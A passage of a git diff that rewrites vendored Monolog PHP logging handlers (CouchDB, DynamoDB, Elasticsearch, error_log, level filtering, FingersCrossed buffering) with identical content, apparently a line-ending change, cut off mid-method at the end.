- * @author Markus Bachmann - */ -class DoctrineCouchDBHandler extends AbstractProcessingHandler -{ - private $client; - - public function __construct(CouchDBClient $client, $level = Logger::DEBUG, $bubble = true) - { - $this->client = $client; - parent::__construct($level, $bubble); - } - - /** - * {@inheritDoc} - */ - protected function write(array $record) - { - $this->client->postDocument($record['formatted']); - } - - protected function getDefaultFormatter() - { - return new NormalizerFormatter; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Formatter\NormalizerFormatter; +use Doctrine\CouchDB\CouchDBClient; + +/** + * CouchDB handler for Doctrine CouchDB ODM + * + * @author Markus Bachmann + */ +class DoctrineCouchDBHandler extends AbstractProcessingHandler +{ + private $client; + + public function __construct(CouchDBClient $client, $level = Logger::DEBUG, $bubble = true) + { + $this->client = $client; + parent::__construct($level, $bubble); + } + + /** + * {@inheritDoc} + */ + protected function write(array $record) + { + $this->client->postDocument($record['formatted']); + } + + protected function getDefaultFormatter() + { + return new NormalizerFormatter; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php index f3a2015747..8846e0a088 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php @@ -1,108 +1,108 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Aws\Sdk; -use Aws\DynamoDb\DynamoDbClient; -use Aws\DynamoDb\Marshaler; -use Monolog\Formatter\ScalarFormatter; -use Monolog\Logger; - -/** - * Amazon DynamoDB handler (http://aws.amazon.com/dynamodb/) - * - * @link https://github.com/aws/aws-sdk-php/ - * @author Andrew Lawson - */ -class DynamoDbHandler extends AbstractProcessingHandler -{ - const DATE_FORMAT = 'Y-m-d\TH:i:s.uO'; - - /** - * @var DynamoDbClient - */ - protected $client; - - /** - * @var string - */ - protected $table; - - /** - * @var int - */ - protected $version; - - /** - * @var Marshaler - */ - protected $marshaler; - - /** - * @param DynamoDbClient $client - * @param string $table - * @param int $level - * @param bool $bubble - */ - public function __construct(DynamoDbClient $client, $table, $level = Logger::DEBUG, $bubble = true) - { - if (defined('Aws\Sdk::VERSION') && version_compare(Sdk::VERSION, '3.0', '>=')) { - $this->version = 3; - $this->marshaler = new Marshaler; - } else { - $this->version = 2; - } - - $this->client = $client; - $this->table = $table; - - parent::__construct($level, $bubble); - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - $filtered = $this->filterEmptyFields($record['formatted']); - if ($this->version === 3) { - $formatted = $this->marshaler->marshalItem($filtered); - } else { - /** @phpstan-ignore-next-line */ - $formatted = $this->client->formatAttributes($filtered); - } - - $this->client->putItem(array( - 'TableName' => $this->table, - 'Item' => $formatted, - )); - } - - /** - * @param array $record - * @return array - */ - protected function filterEmptyFields(array $record) - { - return array_filter($record, function ($value) { - return !empty($value) || false === $value || 0 === $value; - }); - } - - /** - * {@inheritdoc} - */ - protected function getDefaultFormatter() - { - return new ScalarFormatter(self::DATE_FORMAT); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Aws\Sdk; +use Aws\DynamoDb\DynamoDbClient; +use Aws\DynamoDb\Marshaler; +use Monolog\Formatter\ScalarFormatter; +use Monolog\Logger; + +/** + * Amazon DynamoDB handler (http://aws.amazon.com/dynamodb/) + * + * @link https://github.com/aws/aws-sdk-php/ + * @author Andrew Lawson + */ +class DynamoDbHandler extends AbstractProcessingHandler +{ + const DATE_FORMAT = 'Y-m-d\TH:i:s.uO'; + + /** + * @var DynamoDbClient + */ + protected $client; + + /** + * @var string + */ + protected $table; + + /** + * @var int + */ + protected $version; + + /** + * @var Marshaler + */ + protected $marshaler; + + /** + * @param DynamoDbClient $client + * @param string $table + * @param int $level + * @param bool $bubble + */ + public function __construct(DynamoDbClient $client, $table, $level = Logger::DEBUG, $bubble = true) + { + if (defined('Aws\Sdk::VERSION') && version_compare(Sdk::VERSION, '3.0', '>=')) { + $this->version = 3; + $this->marshaler = new Marshaler; + } else { + $this->version = 2; + } + + $this->client = $client; + $this->table = $table; + + parent::__construct($level, $bubble); + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + $filtered = $this->filterEmptyFields($record['formatted']); + if ($this->version === 3) { + $formatted = $this->marshaler->marshalItem($filtered); + } else { + /** @phpstan-ignore-next-line */ + $formatted = $this->client->formatAttributes($filtered); + } + + $this->client->putItem(array( + 'TableName' => $this->table, + 'Item' => $formatted, + )); + } + + /** + * @param array $record + * @return array + */ + protected function filterEmptyFields(array $record) + { + return array_filter($record, function ($value) { + return !empty($value) || false === $value || 0 === $value; + }); + } + + /** + * {@inheritdoc} + */ + protected function getDefaultFormatter() + { + return new ScalarFormatter(self::DATE_FORMAT); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/ElasticSearchHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/ElasticSearchHandler.php index 84792a7577..bb0f83ebc4 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/ElasticSearchHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/ElasticSearchHandler.php @@ -1,128 +1,128 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\FormatterInterface; -use Monolog\Formatter\ElasticaFormatter; -use Monolog\Logger; -use Elastica\Client; -use Elastica\Exception\ExceptionInterface; - -/** - * Elastic Search handler - * - * Usage example: - * - * $client = new \Elastica\Client(); - * $options = array( - * 'index' => 'elastic_index_name', - * 'type' => 'elastic_doc_type', - * ); - * $handler = new ElasticSearchHandler($client, $options); - * $log = new Logger('application'); - * $log->pushHandler($handler); - * - * @author Jelle Vink - */ -class ElasticSearchHandler extends AbstractProcessingHandler -{ - /** - * @var Client - */ - protected $client; - - /** - * @var array Handler config options - */ - protected $options = array(); - - /** - * @param Client $client Elastica Client object - * @param array $options Handler configuration - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct(Client $client, array $options = array(), $level = Logger::DEBUG, $bubble = true) - { - parent::__construct($level, $bubble); - $this->client = $client; - $this->options = array_merge( - array( - 'index' => 'monolog', // Elastic index name - 'type' => 'record', // Elastic document type - 'ignore_error' => false, // Suppress Elastica exceptions - ), - $options - ); - } - - /** - * {@inheritDoc} - */ - protected function write(array $record) - { - $this->bulkSend(array($record['formatted'])); - } - - /** - * {@inheritdoc} - */ - public function setFormatter(FormatterInterface $formatter) - { - if ($formatter instanceof ElasticaFormatter) { - return parent::setFormatter($formatter); - } - throw new \InvalidArgumentException('ElasticSearchHandler is only compatible with ElasticaFormatter'); - } - - /** - * Getter options - * @return array - */ - public function getOptions() - { - return $this->options; - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new ElasticaFormatter($this->options['index'], $this->options['type']); - } - - /** - * {@inheritdoc} - */ - public function handleBatch(array $records) - { - $documents = $this->getFormatter()->formatBatch($records); - $this->bulkSend($documents); - } - - /** - * Use Elasticsearch bulk API to send list of documents - * @param array $documents - * @throws \RuntimeException - */ - protected function bulkSend(array $documents) - { - try { - $this->client->addDocuments($documents); - } catch (ExceptionInterface $e) { - if (!$this->options['ignore_error']) { - throw new \RuntimeException("Error sending messages to Elasticsearch", 0, $e); - } - } - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\FormatterInterface; +use Monolog\Formatter\ElasticaFormatter; +use Monolog\Logger; +use Elastica\Client; +use Elastica\Exception\ExceptionInterface; + +/** + * Elastic Search handler + * + * Usage example: + * + * $client = new \Elastica\Client(); + * $options = array( + * 'index' => 'elastic_index_name', + * 'type' => 'elastic_doc_type', + * ); + * $handler = new ElasticSearchHandler($client, $options); + * $log = new Logger('application'); + * $log->pushHandler($handler); + * + * @author Jelle Vink + */ +class ElasticSearchHandler extends AbstractProcessingHandler +{ + /** + * @var Client + */ + protected $client; + + /** + * @var array Handler config options + */ + protected $options = array(); + + /** + * @param Client $client Elastica Client object + * @param array $options Handler configuration + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct(Client $client, array $options = array(), $level = Logger::DEBUG, $bubble = true) + { + parent::__construct($level, $bubble); + $this->client = $client; + $this->options = array_merge( + array( + 'index' => 'monolog', // Elastic index name + 'type' => 'record', // Elastic document type + 'ignore_error' => false, // Suppress Elastica exceptions + ), + $options + ); + } + + /** + * {@inheritDoc} + */ + protected function write(array $record) + { + $this->bulkSend(array($record['formatted'])); + } + + /** + * {@inheritdoc} + */ + public function setFormatter(FormatterInterface $formatter) + { + if ($formatter instanceof ElasticaFormatter) { + return parent::setFormatter($formatter); + } + throw new \InvalidArgumentException('ElasticSearchHandler is only compatible with ElasticaFormatter'); + } + + /** + * Getter options + * @return array + */ + public function getOptions() + { + return $this->options; + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new ElasticaFormatter($this->options['index'], $this->options['type']); + } + + /** + * {@inheritdoc} + */ + public function handleBatch(array $records) + { + $documents = $this->getFormatter()->formatBatch($records); + $this->bulkSend($documents); + } + + /** + * Use Elasticsearch bulk API to send list of documents + * @param array $documents + * @throws \RuntimeException + */ + protected function bulkSend(array $documents) + { + try { + $this->client->addDocuments($documents); + } catch (ExceptionInterface $e) { + if (!$this->options['ignore_error']) { + throw new \RuntimeException("Error sending messages to Elasticsearch", 0, $e); + } + } + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/ErrorLogHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/ErrorLogHandler.php index f0df5a71b5..b2986b0fed 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/ErrorLogHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/ErrorLogHandler.php @@ -1,82 +1,82 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\LineFormatter; -use Monolog\Logger; - -/** - * Stores to PHP error_log() handler. - * - * @author Elan Ruusamäe - */ -class ErrorLogHandler extends AbstractProcessingHandler -{ - const OPERATING_SYSTEM = 0; - const SAPI = 4; - - protected $messageType; - protected $expandNewlines; - - /** - * @param int $messageType Says where the error should go. - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param bool $expandNewlines If set to true, newlines in the message will be expanded to be take multiple log entries - */ - public function __construct($messageType = self::OPERATING_SYSTEM, $level = Logger::DEBUG, $bubble = true, $expandNewlines = false) - { - parent::__construct($level, $bubble); - - if (false === in_array($messageType, self::getAvailableTypes())) { - $message = sprintf('The given message type "%s" is not supported', print_r($messageType, true)); - throw new \InvalidArgumentException($message); - } - - $this->messageType = $messageType; - $this->expandNewlines = $expandNewlines; - } - - /** - * @return array With all available types - */ - public static function getAvailableTypes() - { - return array( - self::OPERATING_SYSTEM, - self::SAPI, - ); - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new LineFormatter('[%datetime%] %channel%.%level_name%: %message% %context% %extra%'); - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - if ($this->expandNewlines) { - $lines = preg_split('{[\r\n]+}', (string) $record['formatted']); - foreach ($lines as $line) { - error_log($line, $this->messageType); - } - } else { - error_log((string) $record['formatted'], $this->messageType); - } - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\LineFormatter; +use Monolog\Logger; + +/** + * Stores to PHP error_log() handler. + * + * @author Elan Ruusamäe + */ +class ErrorLogHandler extends AbstractProcessingHandler +{ + const OPERATING_SYSTEM = 0; + const SAPI = 4; + + protected $messageType; + protected $expandNewlines; + + /** + * @param int $messageType Says where the error should go. + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param bool $expandNewlines If set to true, newlines in the message will be expanded to be take multiple log entries + */ + public function __construct($messageType = self::OPERATING_SYSTEM, $level = Logger::DEBUG, $bubble = true, $expandNewlines = false) + { + parent::__construct($level, $bubble); + + if (false === in_array($messageType, self::getAvailableTypes())) { + $message = sprintf('The given message type "%s" is not supported', print_r($messageType, true)); + throw new \InvalidArgumentException($message); + } + + $this->messageType = $messageType; + $this->expandNewlines = $expandNewlines; + } + + /** + * @return array With all available types + */ + public static function getAvailableTypes() + { + return array( + self::OPERATING_SYSTEM, + self::SAPI, + ); + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new LineFormatter('[%datetime%] %channel%.%level_name%: %message% %context% %extra%'); + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + if ($this->expandNewlines) { + $lines = preg_split('{[\r\n]+}', (string) $record['formatted']); + foreach ($lines as $line) { + error_log($line, $this->messageType); + } + } else { + error_log((string) $record['formatted'], $this->messageType); + } + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/FilterHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/FilterHandler.php index 82b5f07653..949f22718f 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/FilterHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/FilterHandler.php @@ -1,172 +1,172 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Formatter\FormatterInterface; - -/** - * Simple handler wrapper that filters records based on a list of levels - * - * It can be configured with an exact list of levels to allow, or a min/max level. - * - * @author Hennadiy Verkh - * @author Jordi Boggiano - */ -class FilterHandler extends AbstractHandler -{ - /** - * Handler or factory callable($record, $this) - * - * @var callable|\Monolog\Handler\HandlerInterface - */ - protected $handler; - - /** - * Minimum level for logs that are passed to handler - * - * @var int[] - */ - protected $acceptedLevels; - - /** - * Whether the messages that are handled can bubble up the stack or not - * - * @var bool - */ - protected $bubble; - - /** - * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $filterHandler). - * @param int|array $minLevelOrList A list of levels to accept or a minimum level if maxLevel is provided - * @param int $maxLevel Maximum level to accept, only used if $minLevelOrList is not an array - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct($handler, $minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY, $bubble = true) - { - $this->handler = $handler; - $this->bubble = $bubble; - $this->setAcceptedLevels($minLevelOrList, $maxLevel); - - if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { - throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); - } - } - - /** - * @return array - */ - public function getAcceptedLevels() - { - return array_flip($this->acceptedLevels); - } - - /** - * @param int|string|array $minLevelOrList A list of levels to accept or a minimum level or level name if maxLevel is provided - * @param int|string $maxLevel Maximum level or level name to accept, only used if $minLevelOrList is not an array - */ - public function setAcceptedLevels($minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY) - { - if (is_array($minLevelOrList)) { - $acceptedLevels = array_map('Monolog\Logger::toMonologLevel', $minLevelOrList); - } else { - $minLevelOrList = Logger::toMonologLevel($minLevelOrList); - $maxLevel = Logger::toMonologLevel($maxLevel); - $acceptedLevels = array_values(array_filter(Logger::getLevels(), function ($level) use ($minLevelOrList, $maxLevel) { - return $level >= $minLevelOrList && $level <= $maxLevel; - })); - } - $this->acceptedLevels = array_flip($acceptedLevels); - } - - /** - * {@inheritdoc} - */ - public function isHandling(array $record) - { - return isset($this->acceptedLevels[$record['level']]); - } - - /** - * {@inheritdoc} - */ - public function handle(array $record) - { - if (!$this->isHandling($record)) { - return false; - } - - if ($this->processors) { - foreach ($this->processors as $processor) { - $record = call_user_func($processor, $record); - } - } - - $this->getHandler($record)->handle($record); - - return false === $this->bubble; - } - - /** - * {@inheritdoc} - */ - public function handleBatch(array $records) - { - $filtered = array(); - foreach ($records as $record) { - if ($this->isHandling($record)) { - $filtered[] = $record; - } - } - - if (count($filtered) > 0) { - $this->getHandler($filtered[count($filtered) - 1])->handleBatch($filtered); - } - } - - /** - * Return the nested handler - * - * If the handler was provided as a factory callable, this will trigger the handler's instantiation. - * - * @return HandlerInterface - */ - public function getHandler(array $record = null) - { - if (!$this->handler instanceof HandlerInterface) { - $this->handler = call_user_func($this->handler, $record, $this); - if (!$this->handler instanceof HandlerInterface) { - throw new \RuntimeException("The factory callable should return a HandlerInterface"); - } - } - - return $this->handler; - } - - /** - * {@inheritdoc} - */ - public function setFormatter(FormatterInterface $formatter) - { - $this->getHandler()->setFormatter($formatter); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function getFormatter() - { - return $this->getHandler()->getFormatter(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Formatter\FormatterInterface; + +/** + * Simple handler wrapper that filters records based on a list of levels + * + * It can be configured with an exact list of levels to allow, or a min/max level. + * + * @author Hennadiy Verkh + * @author Jordi Boggiano + */ +class FilterHandler extends AbstractHandler +{ + /** + * Handler or factory callable($record, $this) + * + * @var callable|\Monolog\Handler\HandlerInterface + */ + protected $handler; + + /** + * Minimum level for logs that are passed to handler + * + * @var int[] + */ + protected $acceptedLevels; + + /** + * Whether the messages that are handled can bubble up the stack or not + * + * @var bool + */ + protected $bubble; + + /** + * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $filterHandler). + * @param int|array $minLevelOrList A list of levels to accept or a minimum level if maxLevel is provided + * @param int $maxLevel Maximum level to accept, only used if $minLevelOrList is not an array + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct($handler, $minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY, $bubble = true) + { + $this->handler = $handler; + $this->bubble = $bubble; + $this->setAcceptedLevels($minLevelOrList, $maxLevel); + + if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { + throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); + } + } + + /** + * @return array + */ + public function getAcceptedLevels() + { + return array_flip($this->acceptedLevels); + } + + /** + * @param int|string|array $minLevelOrList A list of levels to accept or a minimum level or level name if maxLevel is provided + * @param int|string $maxLevel Maximum level or level name to accept, only used if $minLevelOrList is not an array + */ + public function setAcceptedLevels($minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY) + { + if (is_array($minLevelOrList)) { + $acceptedLevels = array_map('Monolog\Logger::toMonologLevel', $minLevelOrList); + } else { + $minLevelOrList = Logger::toMonologLevel($minLevelOrList); + $maxLevel = Logger::toMonologLevel($maxLevel); + $acceptedLevels = array_values(array_filter(Logger::getLevels(), function ($level) use ($minLevelOrList, $maxLevel) { + return $level >= $minLevelOrList && $level <= $maxLevel; + })); + } + $this->acceptedLevels = array_flip($acceptedLevels); + } + + /** + * {@inheritdoc} + */ + public function isHandling(array $record) + { + return isset($this->acceptedLevels[$record['level']]); + } + + /** + * {@inheritdoc} + */ + public function handle(array $record) + { + if (!$this->isHandling($record)) { + return false; + } + + if ($this->processors) { + foreach ($this->processors as $processor) { + $record = call_user_func($processor, $record); + } + } + + $this->getHandler($record)->handle($record); + + return false === $this->bubble; + } + + /** + * {@inheritdoc} + */ + public function handleBatch(array $records) + { + $filtered = array(); + foreach ($records as $record) { + if ($this->isHandling($record)) { + $filtered[] = $record; + } + } + + if (count($filtered) > 0) { + $this->getHandler($filtered[count($filtered) - 1])->handleBatch($filtered); + } + } + + /** + * Return the nested handler + * + * If the handler was provided as a factory callable, this will trigger the handler's instantiation. + * + * @return HandlerInterface + */ + public function getHandler(array $record = null) + { + if (!$this->handler instanceof HandlerInterface) { + $this->handler = call_user_func($this->handler, $record, $this); + if (!$this->handler instanceof HandlerInterface) { + throw new \RuntimeException("The factory callable should return a HandlerInterface"); + } + } + + return $this->handler; + } + + /** + * {@inheritdoc} + */ + public function setFormatter(FormatterInterface $formatter) + { + $this->getHandler()->setFormatter($formatter); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function getFormatter() + { + return $this->getHandler()->getFormatter(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ActivationStrategyInterface.php b/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ActivationStrategyInterface.php index 3b0835a203..aaca12ccd0 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ActivationStrategyInterface.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ActivationStrategyInterface.php @@ -1,28 +1,28 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler\FingersCrossed; - -/** - * Interface for activation strategies for the FingersCrossedHandler. - * - * @author Johannes M. Schmitt - */ -interface ActivationStrategyInterface -{ - /** - * Returns whether the given record activates the handler. - * - * @param array $record - * @return bool - */ - public function isHandlerActivated(array $record); -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler\FingersCrossed; + +/** + * Interface for activation strategies for the FingersCrossedHandler. + * + * @author Johannes M. Schmitt + */ +interface ActivationStrategyInterface +{ + /** + * Returns whether the given record activates the handler. + * + * @param array $record + * @return bool + */ + public function isHandlerActivated(array $record); +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ChannelLevelActivationStrategy.php b/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ChannelLevelActivationStrategy.php index 0c57ea7ab8..2a2a64d940 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ChannelLevelActivationStrategy.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ChannelLevelActivationStrategy.php @@ -1,59 +1,59 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler\FingersCrossed; - -use Monolog\Logger; - -/** - * Channel and Error level based monolog activation strategy. Allows to trigger activation - * based on level per channel. e.g. trigger activation on level 'ERROR' by default, except - * for records of the 'sql' channel; those should trigger activation on level 'WARN'. - * - * Example: - * - * - * $activationStrategy = new ChannelLevelActivationStrategy( - * Logger::CRITICAL, - * array( - * 'request' => Logger::ALERT, - * 'sensitive' => Logger::ERROR, - * ) - * ); - * $handler = new FingersCrossedHandler(new StreamHandler('php://stderr'), $activationStrategy); - * - * - * @author Mike Meessen - */ -class ChannelLevelActivationStrategy implements ActivationStrategyInterface -{ - private $defaultActionLevel; - private $channelToActionLevel; - - /** - * @param int $defaultActionLevel The default action level to be used if the record's category doesn't match any - * @param array $channelToActionLevel An array that maps channel names to action levels. - */ - public function __construct($defaultActionLevel, $channelToActionLevel = array()) - { - $this->defaultActionLevel = Logger::toMonologLevel($defaultActionLevel); - $this->channelToActionLevel = array_map('Monolog\Logger::toMonologLevel', $channelToActionLevel); - } - - public function isHandlerActivated(array $record) - { - if (isset($this->channelToActionLevel[$record['channel']])) { - return $record['level'] >= $this->channelToActionLevel[$record['channel']]; - } - - return $record['level'] >= $this->defaultActionLevel; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler\FingersCrossed; + +use Monolog\Logger; + +/** + * Channel and Error level based monolog activation strategy. Allows to trigger activation + * based on level per channel. e.g. trigger activation on level 'ERROR' by default, except + * for records of the 'sql' channel; those should trigger activation on level 'WARN'. + * + * Example: + * + * + * $activationStrategy = new ChannelLevelActivationStrategy( + * Logger::CRITICAL, + * array( + * 'request' => Logger::ALERT, + * 'sensitive' => Logger::ERROR, + * ) + * ); + * $handler = new FingersCrossedHandler(new StreamHandler('php://stderr'), $activationStrategy); + * + * + * @author Mike Meessen + */ +class ChannelLevelActivationStrategy implements ActivationStrategyInterface +{ + private $defaultActionLevel; + private $channelToActionLevel; + + /** + * @param int $defaultActionLevel The default action level to be used if the record's category doesn't match any + * @param array $channelToActionLevel An array that maps channel names to action levels. + */ + public function __construct($defaultActionLevel, $channelToActionLevel = array()) + { + $this->defaultActionLevel = Logger::toMonologLevel($defaultActionLevel); + $this->channelToActionLevel = array_map('Monolog\Logger::toMonologLevel', $channelToActionLevel); + } + + public function isHandlerActivated(array $record) + { + if (isset($this->channelToActionLevel[$record['channel']])) { + return $record['level'] >= $this->channelToActionLevel[$record['channel']]; + } + + return $record['level'] >= $this->defaultActionLevel; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ErrorLevelActivationStrategy.php b/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ErrorLevelActivationStrategy.php index ee92c18899..6e630852fc 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ErrorLevelActivationStrategy.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ErrorLevelActivationStrategy.php @@ -1,34 +1,34 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler\FingersCrossed; - -use Monolog\Logger; - -/** - * Error level based activation strategy. - * - * @author Johannes M. Schmitt - */ -class ErrorLevelActivationStrategy implements ActivationStrategyInterface -{ - private $actionLevel; - - public function __construct($actionLevel) - { - $this->actionLevel = Logger::toMonologLevel($actionLevel); - } - - public function isHandlerActivated(array $record) - { - return $record['level'] >= $this->actionLevel; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler\FingersCrossed; + +use Monolog\Logger; + +/** + * Error level based activation strategy. + * + * @author Johannes M. Schmitt + */ +class ErrorLevelActivationStrategy implements ActivationStrategyInterface +{ + private $actionLevel; + + public function __construct($actionLevel) + { + $this->actionLevel = Logger::toMonologLevel($actionLevel); + } + + public function isHandlerActivated(array $record) + { + return $record['level'] >= $this->actionLevel; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php index 4a9dc8f835..cdabc44589 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php @@ -1,207 +1,207 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy; -use Monolog\Handler\FingersCrossed\ActivationStrategyInterface; -use Monolog\Logger; -use Monolog\ResettableInterface; -use Monolog\Formatter\FormatterInterface; - -/** - * Buffers all records until a certain level is reached - * - * The advantage of this approach is that you don't get any clutter in your log files. - * Only requests which actually trigger an error (or whatever your actionLevel is) will be - * in the logs, but they will contain all records, not only those above the level threshold. - * - * You can find the various activation strategies in the - * Monolog\Handler\FingersCrossed\ namespace. - * - * @author Jordi Boggiano - */ -class FingersCrossedHandler extends AbstractHandler -{ - protected $handler; - protected $activationStrategy; - protected $buffering = true; - protected $bufferSize; - protected $buffer = array(); - protected $stopBuffering; - protected $passthruLevel; - - /** - * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $fingersCrossedHandler). - * @param int|ActivationStrategyInterface $activationStrategy Strategy which determines when this handler takes action - * @param int $bufferSize How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param bool $stopBuffering Whether the handler should stop buffering after being triggered (default true) - * @param int $passthruLevel Minimum level to always flush to handler on close, even if strategy not triggered - */ - public function __construct($handler, $activationStrategy = null, $bufferSize = 0, $bubble = true, $stopBuffering = true, $passthruLevel = null) - { - if (null === $activationStrategy) { - $activationStrategy = new ErrorLevelActivationStrategy(Logger::WARNING); - } - - // convert simple int activationStrategy to an object - if (!$activationStrategy instanceof ActivationStrategyInterface) { - $activationStrategy = new ErrorLevelActivationStrategy($activationStrategy); - } - - $this->handler = $handler; - $this->activationStrategy = $activationStrategy; - $this->bufferSize = $bufferSize; - $this->bubble = $bubble; - $this->stopBuffering = $stopBuffering; - - if ($passthruLevel !== null) { - $this->passthruLevel = Logger::toMonologLevel($passthruLevel); - } - - if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { - throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); - } - } - - /** - * {@inheritdoc} - */ - public function isHandling(array $record) - { - return true; - } - - /** - * Manually activate this logger regardless of the activation strategy - */ - public function activate() - { - if ($this->stopBuffering) { - $this->buffering = false; - } - $this->getHandler(end($this->buffer) ?: null)->handleBatch($this->buffer); - $this->buffer = array(); - } - - /** - * {@inheritdoc} - */ - public function handle(array $record) - { - if ($this->processors) { - foreach ($this->processors as $processor) { - $record = call_user_func($processor, $record); - } - } - - if ($this->buffering) { - $this->buffer[] = $record; - if ($this->bufferSize > 0 && count($this->buffer) > $this->bufferSize) { - array_shift($this->buffer); - } - if ($this->activationStrategy->isHandlerActivated($record)) { - $this->activate(); - } - } else { - $this->getHandler($record)->handle($record); - } - - return false === $this->bubble; - } - - /** - * {@inheritdoc} - */ - public function close() - { - $this->flushBuffer(); - } - - public function reset() - { - $this->flushBuffer(); - - parent::reset(); - - if ($this->getHandler() instanceof ResettableInterface) { - $this->getHandler()->reset(); - } - } - - /** - * Clears the buffer without flushing any messages down to the wrapped handler. - * - * It also resets the handler to its initial buffering state. - */ - public function clear() - { - $this->buffer = array(); - $this->reset(); 